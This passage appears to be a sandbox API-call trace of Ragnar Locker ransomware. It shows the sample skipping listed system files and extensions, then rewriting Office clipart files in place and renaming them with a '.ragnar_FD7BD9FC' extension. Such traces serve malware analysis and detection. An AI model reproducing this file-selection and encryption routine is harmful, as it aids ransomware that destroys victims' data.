Office\\CLIPART\\PUB60COR\\J0182898.WMF.ragnar_FD7BD9FC" [0085.341] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.341] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182902.WMF", cAlternateFileName="")) returned 1 [0085.341] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.341] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0182902.WMF" | out: lpString1="J0182902.WMF") returned="J0182902.WMF" [0085.341] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned=".WMF" [0085.341] lstrcmpiW (lpString1="J0182902.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.341] lstrcmpiW (lpString1="J0182902.WMF", lpString2="autorun.inf") returned 1 [0085.342] lstrcmpiW (lpString1="J0182902.WMF", lpString2="boot.ini") returned 1 [0085.342] lstrcmpiW (lpString1="J0182902.WMF", lpString2="bootfont.bin") returned 1 [0085.342] lstrcmpiW (lpString1="J0182902.WMF", lpString2="bootsect.bak") returned 1 [0085.342] lstrcmpiW (lpString1="J0182902.WMF", lpString2="bootmgr") returned 1 [0085.342] lstrcmpiW (lpString1="J0182902.WMF", lpString2="bootmgr.efi") returned 1 [0085.342] lstrcmpiW (lpString1="J0182902.WMF", lpString2="bootmgfw.efi") returned 1 [0085.342] lstrcmpiW (lpString1="J0182902.WMF", lpString2="desktop.ini") returned 1 [0085.342] lstrcmpiW (lpString1="J0182902.WMF", lpString2="iconcache.db") returned 1 [0085.342] lstrcmpiW (lpString1="J0182902.WMF", lpString2="ntldr") returned -1 [0085.342] lstrcmpiW (lpString1="J0182902.WMF", lpString2="ntuser.dat") returned -1 [0085.342] lstrcmpiW (lpString1="J0182902.WMF", lpString2="ntuser.dat.log") returned -1 [0085.342] lstrcmpiW (lpString1="J0182902.WMF", lpString2="ntuser.ini") returned -1 [0085.342] lstrcmpiW (lpString1="J0182902.WMF", lpString2="thumbs.db") returned -1 [0085.342] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.342] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.342] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.342] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.342] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.342] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.342] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf")) returned 0x20 [0085.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.342] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7822) returned 1 [0085.343] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.343] GetProcessHeap () returned 0x580000 [0085.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.343] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.344] VirtualAlloc (lpAddress=0x0, dwSize=0x1e8e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.344] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.344] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.344] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e8e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e8e, lpOverlapped=0x0) returned 1 [0085.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.345] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e8e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.345] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e8e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e8e, lpOverlapped=0x0) returned 1 [0085.345] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e8e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.345] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.346] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.346] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.346] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.346] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.346] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.346] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.346] GetProcessHeap () returned 0x580000 [0085.346] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.346] CloseHandle (hObject=0xf4) returned 1 [0085.346] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" [0085.346] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.ragnar_FD7BD9FC" [0085.346] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.347] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21290a00, ftCreationTime.dwHighDateTime=0x1bdf6f5, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21290a00, ftLastWriteTime.dwHighDateTime=0x1bdf6f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182946.WMF", cAlternateFileName="")) returned 1 [0085.347] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.347] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0182946.WMF" | out: lpString1="J0182946.WMF") returned="J0182946.WMF" [0085.347] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned=".WMF" [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="autorun.inf") returned 1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="boot.ini") returned 1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="bootfont.bin") returned 1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="bootsect.bak") returned 1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="bootmgr") returned 1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="bootmgr.efi") returned 1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="bootmgfw.efi") returned 1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="desktop.ini") returned 1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="iconcache.db") returned 1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="ntldr") returned -1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="ntuser.dat") returned -1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="ntuser.dat.log") returned -1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="ntuser.ini") returned -1 [0085.347] lstrcmpiW (lpString1="J0182946.WMF", lpString2="thumbs.db") returned -1 [0085.347] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.347] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.348] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.348] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.348] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.348] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.348] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf")) returned 0x20 [0085.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.348] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16082) returned 1 [0085.348] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3ec9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.348] GetProcessHeap () returned 0x580000 [0085.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.348] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.359] VirtualAlloc (lpAddress=0x0, dwSize=0x3ed2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.360] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.360] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.360] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3ed2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3ed2, lpOverlapped=0x0) returned 1 [0085.361] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.361] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ed2, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.361] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3ed2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3ed2, lpOverlapped=0x0) returned 1 [0085.361] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ed2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.361] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.362] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3ed2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.362] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.362] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.362] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.362] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.362] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.362] GetProcessHeap () returned 0x580000 [0085.362] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.362] CloseHandle (hObject=0xf4) returned 1 [0085.362] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" [0085.362] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.ragnar_FD7BD9FC" [0085.362] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.363] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x745c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183172.WMF", cAlternateFileName="")) returned 1 [0085.363] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.363] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0183172.WMF" | out: lpString1="J0183172.WMF") returned="J0183172.WMF" [0085.363] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned=".WMF" [0085.363] lstrcmpiW (lpString1="J0183172.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.363] lstrcmpiW (lpString1="J0183172.WMF", lpString2="autorun.inf") returned 1 [0085.364] lstrcmpiW (lpString1="J0183172.WMF", lpString2="boot.ini") returned 1 [0085.364] lstrcmpiW (lpString1="J0183172.WMF", lpString2="bootfont.bin") returned 1 [0085.364] lstrcmpiW (lpString1="J0183172.WMF", lpString2="bootsect.bak") returned 1 [0085.364] lstrcmpiW (lpString1="J0183172.WMF", lpString2="bootmgr") returned 1 [0085.364] lstrcmpiW (lpString1="J0183172.WMF", lpString2="bootmgr.efi") returned 1 [0085.364] lstrcmpiW (lpString1="J0183172.WMF", lpString2="bootmgfw.efi") returned 1 [0085.364] lstrcmpiW (lpString1="J0183172.WMF", lpString2="desktop.ini") returned 1 [0085.364] lstrcmpiW (lpString1="J0183172.WMF", lpString2="iconcache.db") returned 1 [0085.364] lstrcmpiW (lpString1="J0183172.WMF", lpString2="ntldr") returned -1 [0085.364] lstrcmpiW (lpString1="J0183172.WMF", lpString2="ntuser.dat") returned -1 [0085.364] lstrcmpiW (lpString1="J0183172.WMF", lpString2="ntuser.dat.log") returned -1 [0085.364] lstrcmpiW (lpString1="J0183172.WMF", lpString2="ntuser.ini") returned -1 [0085.364] lstrcmpiW (lpString1="J0183172.WMF", lpString2="thumbs.db") returned -1 [0085.364] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.364] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.364] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.364] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.364] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.364] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.364] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf")) returned 0x20 [0085.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.365] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29788) returned 1 [0085.365] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7453, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.365] GetProcessHeap () returned 0x580000 [0085.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.365] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.367] VirtualAlloc (lpAddress=0x0, dwSize=0x745c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.367] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.367] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.367] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x745c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x745c, lpOverlapped=0x0) returned 1 [0085.369] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.369] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x745c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.369] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x745c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x745c, lpOverlapped=0x0) returned 1 [0085.369] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x745c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.369] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.369] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x745c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.369] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.369] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.369] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.370] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.370] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.370] GetProcessHeap () returned 0x580000 [0085.370] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.370] CloseHandle (hObject=0xf4) returned 1 [0085.370] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" [0085.370] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.ragnar_FD7BD9FC" [0085.370] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.371] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, 